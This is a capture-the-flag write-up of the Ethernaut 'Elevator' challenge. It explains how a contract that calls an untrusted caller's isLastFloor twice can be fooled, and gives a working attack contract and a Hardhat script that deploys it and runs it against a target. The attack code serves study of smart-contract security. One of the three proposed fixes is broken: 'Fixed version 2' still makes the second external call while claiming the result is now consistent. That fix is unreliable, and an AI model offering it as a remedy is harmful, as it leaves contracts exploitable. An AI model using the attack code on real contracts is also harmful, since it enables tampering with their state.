Elevator Challenge - Ethernaut Level 11
Challenge Description
Challenge Goal
Reach the top floor of the elevator by manipulating the isLastFloor function to return different values on consecutive calls. This requires understanding how external contract calls can have side effects and how to exploit inconsistent state between function calls.
The Vulnerable Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}The Vulnerability
The vulnerability in this contract is subtle but exploitable. The issue is in the goTo function:
- Interface Function Not Marked as View: The
isLastFloorfunction in theBuildinginterface is not marked asview, which means it can modify state. - Double Function Call: The contract calls
isLastFloortwice with the same input but expects consistent results. - State Change Between Calls: Between the first and second call to
isLastFloor, the attacker can change the function's behavior.
The attack flow works as follows:
- First call to
isLastFloor(_floor)returnsfalseto pass theifcheck - The floor is set to the input value
- Second call to
isLastFloor(floor)returnstrueto settoptotrue
The Attack Contract
Here's the attack contract that exploits this vulnerability:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./elevator.sol";
contract ElevatorAttack is Building {
bool public isFirstCall = true;
function isLastFloor(uint256) external returns (bool) {
if (isFirstCall) {
isFirstCall = false;
return false; // First call returns false to allow floor change
} else {
return true; // Second call returns true to set top to true
}
}
function attack(address elevator) external {
Elevator(elevator).goTo(1);
}
}How the Attack Works
Attack Flow:
- Deploy Attack Contract: Deploy the
ElevatorAttackcontract that implements theBuildinginterface - Call goTo: Call the
attackfunction which callsgoTo(1)on the elevator - First isLastFloor Call: The elevator calls
isLastFloor(1)on our contract, which returnsfalseand setsisFirstCall = false - Floor Update: The elevator sets
floor = 1 - Second isLastFloor Call: The elevator calls
isLastFloor(1)again, but this time our function returnstrue - Top Set: The elevator sets
top = true, completing the challenge
Key Attack Code:
// The critical part - our isLastFloor function
function isLastFloor(uint256) external returns (bool) {
if (isFirstCall) {
isFirstCall = false;
return false; // First call returns false to allow floor change
} else {
return true; // Second call returns true to set top to true
}
}Deployment and Execution Script
Here's the script to deploy and execute the attack:
const { ethers } = require("hardhat");
async function main() {
// Get the Elevator contract instance
const elevatorAddress = process.env.ELEVATOR_ADDRESS;
console.log(`Targeting Elevator contract at: ${elevatorAddress}`);
// Get the signer
const [attacker] = await ethers.getSigners();
console.log(`Attacker address: ${attacker.address}`);
// Deploy the attack contract
console.log("Deploying ElevatorAttack contract...");
const ElevatorAttack = await ethers.getContractFactory("ElevatorAttack");
const attackContract = await ElevatorAttack.deploy();
await attackContract.waitForDeployment();
console.log(`ElevatorAttack deployed to: ${await attackContract.getAddress()}`);
// Execute the attack
console.log("Executing attack...");
const attackTx = await attackContract.attack(elevatorAddress);
await attackTx.wait();
// Check if we reached the top
const Elevator = await ethers.getContractFactory("Elevator");
const elevatorContract = await Elevator.attach(elevatorAddress);
const top = await elevatorContract.top();
console.log(`Reached top floor: ${top}`);
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});Security Lessons
- Interface Function Visibility: Always mark interface functions as
viewif they don't need to modify state. This prevents unexpected side effects. - Consistent External Calls: Don't assume that calling the same external function twice will return the same result, especially if the function can modify state.
- Cache Results: If you need consistent results from external calls, cache the result instead of calling the function multiple times.
- State Validation: Use internal state to validate inputs rather than trusting external contract responses.
- Function Purity: Be explicit about function purity in interfaces to prevent state-changing functions from being called unexpectedly.
Prevention
Here's how you could fix the vulnerable contract:
// Fixed version 1: Mark interface function as view
interface Building {
function isLastFloor(uint256) external view returns (bool);
}
// Fixed version 2: Cache the result
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
// Cache the result to ensure consistency
bool isLast = building.isLastFloor(_floor);
if (!isLast) {
floor = _floor;
top = building.isLastFloor(floor); // This will now be consistent
}
}
// Fixed version 3: Use internal validation
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
// Validate floor internally instead of trusting external call
require(_floor <= MAX_FLOOR, "Floor too high");
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = (_floor == MAX_FLOOR); // Use internal logic
}
}Why This Vulnerability Matters
This vulnerability demonstrates an important principle in smart contract security: external calls can have side effects. Even seemingly simple function calls can change state in ways that affect subsequent calls.
In real-world scenarios, this type of vulnerability could be exploited in:
- Oracle Manipulation: External price feeds or data sources that can be manipulated
- Cross-Contract State: Contracts that rely on state from other contracts
- Access Control: Functions that check permissions from external contracts
- Validation Logic: Any validation that depends on external contract responses
Conclusion
The Elevator challenge teaches us about the importance of function purity and consistent external calls in smart contracts. The key takeaway is to always be explicit about whether functions can modify state and to avoid making assumptions about the consistency of external function calls.
This vulnerability shows why it's crucial to understand the difference between view and state-modifying functions, and why caching results from external calls can be a valuable security practice.